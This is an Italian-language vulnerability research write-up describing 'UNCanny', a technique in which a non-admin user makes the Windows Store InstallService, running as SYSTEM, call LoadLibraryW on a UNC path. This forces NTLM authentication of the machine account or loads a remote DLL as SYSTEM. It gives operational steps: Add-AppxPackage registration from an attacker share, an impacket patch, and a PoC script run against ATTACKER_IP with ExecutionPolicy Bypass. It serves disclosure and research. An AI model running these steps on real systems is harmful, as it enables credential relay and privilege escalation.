
Un'altra nuova primitiva di coercizione con LPE - coercizione NTLM dell'account di macchina da parte di un utente non amministratore tramite esperimenti di risoluzione del plugin di Windows Store InstallService
L'idea alla base di questa ricerca era semplice: volevo trovare una mia tecnica di coercizione. Ho iniziato cercando nuove superfici d'attacco RPC, ma dopo che Microsoft ha aggiunto il monitoraggio delle attività RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), ho deciso di prendere una strada diversa.
UNCanny è il risultato di quella tana del bianconiglio. Non è qualcosa che considererei affidabile per vere operazioni red team a causa dei suoi limiti, ma penso comunque che gli appunti valgano la pena di essere pubblicati per chiunque stia scavando nella stessa area.
In breve, questa primitiva è:
un utente normale consegna al servizio di installazione di Windows Store alcuni metadati di installazione -> il servizio, in esecuzione come sistema locale, risolve un "plugin" per quel lavoro -> il resolver finisce per eseguire
LoadLibraryWsu un percorso influenzato dall'utente -> quel percorso è una UNC -> NTLM in uscita come account del computer.
Il componente è il mondo del servizio di installazione di Windows Store: InstallService.dll ospitato in InstallService.exe, in esecuzione come NT AUTHORITY\SYSTEM.
La tana del bianconiglio è iniziata con InstallService.dll. Stavo cercando componenti di Windows che installano pacchetti, ripristinano lo stato dopo il riavvio, riprendono processi falliti, leggono contenuti locali/remoti e caricano plugin. Qualsiasi cosa che abbia queste quattro cose insieme di solito ha una confusione di confini da qualche parte:
La classe runtime interessante era:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

È in quel parametro propertiesJson che si nasconde il divertimento. Il comportamento di installazione è descritto da campi json come FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.
All'inizio pensavo che il bug sarebbe stato "mettere una UNC in SourceUri e lasciare che il servizio la leggesse". Sarebbe stato bellissimo, ma Windows non è stato così generoso. Ho fatto reverse engineering del percorso di fulfillment integrato (CreateInstallServiceWorkFromBridge, InstallService.dll) e i plugin integrati semplicemente non fanno questo:
WU analizza il json ed esce su WinHTTP / Delivery Optimization. mai SMB.ChainedWork e XVC sono la stessa storia o non sono nemmeno presenti su un client.SourceUri grezzo viene o rapidamente rifiutato o instradato nella validazione del catalogo. CreateCatalogItemFromLocalData, nonostante il nome, costruisce un elemento del catalogo dal json serializzato in memoria, non va ad aprire un file.Quindi l'idea ingenua è un vicolo cieco, questa funzionalità è molto interessante e ci sto facendo anche altre primitive di ricerca e vale la pena dirlo ad alta voce così nessuno ci perde una settimana :)
L'unico punto dell'intero flusso di creazione/ripristino in cui il servizio tocca un percorso influenzato dall'attaccante è l'attivazione del plugin. La funzione è PluginHelpers::ActivatePlugin. Risolve FulfillmentPluginId in questo ordine:
"WU" -> integrato"ChainedWork" -> integratoStaticPluginMap (HKLM) -> CoCreateInstance di un CLSID, o attiva una classe WinRT"XVC" -> factory xboxFindPackagesForUser(pfn) -> prendi InstalledLocation.Path di quel pacchetto -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")Il ramo 5 è quello giusto e PluginHelpers::IsPluginAvailable conferma il gate: restituisce true per qualsiasi FulfillmentPluginId che corrisponde a un pacchetto installato, tramite esattamente la stessa ricerca FindPackagesForUser.

Quindi se un FulfillmentPluginId punta a un pacchetto il cui InstalledLocation è una UNC, allora InstallService.exe in esecuzione come SYSTEM fa:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW deve connettersi a \\attacker\share e autenticarsi prima di scoprire che la dll non c'è, e quell'autenticazione è la coercizione, e la dll non deve mai esistere.

L'unica domanda rimasta è "come fa un utente normale a ottenere un pacchetto il cui InstalledLocation è una UNC". La risposta è la registrazione loose-file, che è un'operazione per-utente, non elevata:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windows registra il pacchetto "sul posto", quindi l'InstalledLocation registrato è letteralmente la UNC a cui hai puntato. Poi attivi il lavoro con il nome famiglia di quel pacchetto come id del plugin.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )Il chiamante è un utente normale, l'autenticazione di rete è l'account del computer.

Un utente a bassi privilegi l'ha attivato, l'account del computer si è autenticato. È stato il loader di Windows stesso a toccare la UNC, non il chiamante.

Due cose da sistemare prima di eseguire:
impacket-smbserver riporta il tipo di filesystem XTFS. AppX rifiuta di registrarsi su condivisioni non-NTFS (0x80073CFD). Applica una patch al campo FileSystemName in impacket/smbserver.py impostandolo a NTFS.
La condivisione deve contenere AppxManifest.xml, logo.png, dummy.exe. Non serve InstallServicePlugin.dll. MaxVersionTested nel manifest deve essere ≤ build del target (controlla con winver sul target).
Puoi eseguire poc/setup.sh dalla radice del repo su Kali. Popola la condivisione, applica la patch a impacket, carica poc.ps1 sul target tramite smbclient se TARGET_IP e TARGET_CREDS sono impostati, e avvia il server ;-)
Poi sulla tua workstation Windows, come utente a bassi privilegi, da una sessione interattiva:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
C'è un secondo lato dello stesso bug più diretto della coercizione. Se InstallServicePlugin.dll esiste davvero nel percorso del pacchetto UNC, il servizio raggiunge comunque lo stesso ramo LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), ma questa volta il loader ha successo e la dll viene mappata dentro il processo del servizio di installazione dello store come NT AUTHORITY\SYSTEM.